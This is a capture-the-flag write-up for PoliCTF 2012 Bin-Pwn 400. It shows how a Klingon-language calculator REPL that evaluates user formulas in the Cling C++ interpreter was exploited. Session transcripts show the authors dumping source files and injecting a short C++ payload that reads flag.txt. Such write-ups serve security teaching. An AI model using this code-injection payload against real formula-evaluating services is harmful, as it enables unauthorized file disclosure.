PoliCTF 2012 - Bin-Pwn 400

3 minute read

Alien Technologies.

[email protected]:16000

In this challenge, we had to exploit a binary that was run once a user logged into the server through SSH. The binary was basically an REPL that communicated with the user in Klingon to calculate means, variances, and the result of a custom operation on a list of numbers. It is vulnerable to code injection when a user supplied formula is run in the C++ interpreter (Cling).

[email protected]:~/stuff$ ssh -p 16000 -i id_rsa [email protected]
loS ..........
ghItlh pIqaD (a..y)
a
Hutlh
ghItlh pIqaD (a..y)
b
Hutlh
ghItlh pIqaD (a..y)
c
Qagh ghItlhqa'
d
Qagh ghItlhqa'
quit
Qagh ghItlhqa'
Dor
Connection to alien.challenges.polictf.it closed.
[email protected]:~/stuff$

The first step was to identify the language in which the text was relayed. It was found that the above was Klingon. So let’s translate a few phrases:

  • loS - wait
  • ghItlh pIqaD (a..y) - write Klingon (a..y)
  • Hutlh - lack
  • Dor - to end
  • Qagh ghItlhqa’ - mistake write again (qa’ suffix affects re-doing)

Now, the (a..y) implies that we should try the Klingon alphabet from the a symbol to y symbol. So we obtained a copy of that:

a, b, ch, D, e, gh, H, I, j, l, m, n, ng, o, p, q, Q, r, S, t, tlh, u, v, w, y

Trying every letter:

...
ch
ghItlh teywI' pong (main.cpp, ...)
...
gh
ghItlh De'
...
ng
ghItlh Qap
...
tlh
ghItlh Qap (0..3)
...

Translating this:

  • ghItlh teywI’ pong - write file name
  • ghItlh De’ - write it
  • ghItlh Qap - write function

Sweet, looks like we can dump the source to the main.cpp, probably for the program, using the Klingon letter ‘ch’. Now, if we look in main.cpp, we can see an include for prompt.h, and from there we may discover data.h. There must be a file implementing prompt.h too though, so prompt.cpp exists as well.

Here are the source files that are exposed:

  1. main.cpp
  2. prompt.h
  3. prompt.cpp
  4. data.h
  5. From prompt.cpp, we can observe that the ‘ch’, ‘gh’, ‘ng’, and ‘tlh’ commands are mapped to functions which take input from the user:
  • ‘ch’ - dumps files, (only main.cpp, prompt.h, prompt.cpp, data.h, and not flag.txt)
  • ‘gh’ - adds a number to a list
  • ‘ng’ - replaces the third operation with a custom operator of your own
  • ‘tlh’ - calculates the mean, and variance of the data in the list and calculates the result of the operation presupplied by the system or provided by the user

At this point, we can hypothesize that perhaps, arbitrary code can be injected through the custom operation definition (‘ng’) and executed through the use of ‘tlh’.

Prompt()
{
    op[0]="result=mean+variance";
    op[1]="result=mean+2*variance";
    op[2]="result=mean+3*variance";
    op[3]=";";
}

Operations are in the form ‘result=(operations)’ which make use of variables ‘mean’ and ‘variance’. Since C++ is a statically typed language, we can assume result is a float.

if(values.size()<2)
{
    cout<<"Qagh"<<endl;
    return;
}]

Now, we also can see that the list is required to contain, at minimum, 2 items.

Let’s test it out.

loS ..........
ghItlh pIqaD (a..y)
gh
ghItlh De'
1
ghItlh pIqaD (a..y)
gh
ghItlh De'
2
ghItlh pIqaD (a..y)
ng
ghItlh Qap
result=1337
ghItlh pIqaD (a..y)
tlh
ghItlh Qap (0..3)
3
1.5 0.5 1337
ghItlh pIqaD (a..y)

Awesome, now let’s test if it’s simply evaluating only numbers or we may perform our own arbitrary code.

loS ..........
ghItlh pIqaD (a..y)
gh
ghItlh De'
1
ghItlh pIqaD (a..y)
gh
ghItlh De'
2
ghItlh pIqaD (a..y)
ng
ghItlh Qap
result=0; cout << "hacked";
ghItlh pIqaD (a..y)
tlh
ghItlh Qap (0..3)
3
hacked1.5 0.5 0
ghItlh pIqaD (a..y)

Great, now all we have to do is read the file and print it to stdout. There is a constraint on our payload though.

if(check(newop) || newop.length()>80) cout<<"Qagh"<<endl;

It has to be 80 characters or less, so we came up with the following:

result=0;string l;ifstream f ("flag.txt");while(getline(f, l)) cout<<l<<"n";

Performing the attack:

ghItlh pIqaD (a..y)
gh
ghItlh De'
1
ghItlh pIqaD (a..y)
gh
ghItlh De'
2
ghItlh pIqaD (a..y)
ng
ghItlh Qap
result=0;string l;ifstream f ("flag.txt");while(getline(f, l)) cout<<l<<"n";
ghItlh pIqaD (a..y)
tlh
ghItlh Qap (0..3)
3
Well done, you found the flag:

jbvenvinvpek2envi2n

This challenge is powered by cling: http://root.cern.ch/drupal/content/cling
1.5 0.5 0
ghItlh pIqaD (a..y)

And we have our flag. Seriously cool challenge, no?

Flag: jbvenvinvpek2envi2n

Leave a Comment